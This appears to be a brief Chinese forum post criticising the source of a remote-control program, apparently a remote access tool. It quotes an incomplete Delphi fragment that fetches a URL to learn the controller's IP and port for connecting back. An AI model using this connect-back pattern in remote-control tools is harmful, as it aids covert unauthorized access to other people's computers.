海盗这一个东东不是好
不上线原因是客户端源码把ServerSocket1控件部分 都删除了。我日
procedure SuperUserProc(AThread: TIdPeerThread; RecCMD: string);
客户端这一句没有用。。。就是没有调用他的部分都删除了。。。
try
if S<>'' Then
begin
if Pos('http://',S)<>0 then
begin //转向域名和FTP上线
Temp:=lowercase(IdHTTP1.Get(S)); {读取域名}
IdHTTP1.Disconnect;
//Temp:=CenterStr(Temp,'http://','/ip.txt');
pos1:=pos(':',Temp);
RpcAdder:=copy(Temp,1,pos1-1);
RpcPort:=strtoint(copy(Temp,pos1+1,Length(Temp)));
end else
begin
服务端还要把这一句改一改
一句讲晒。。这个远程开源码就是垃圾。。。。
这个开源一点意思也没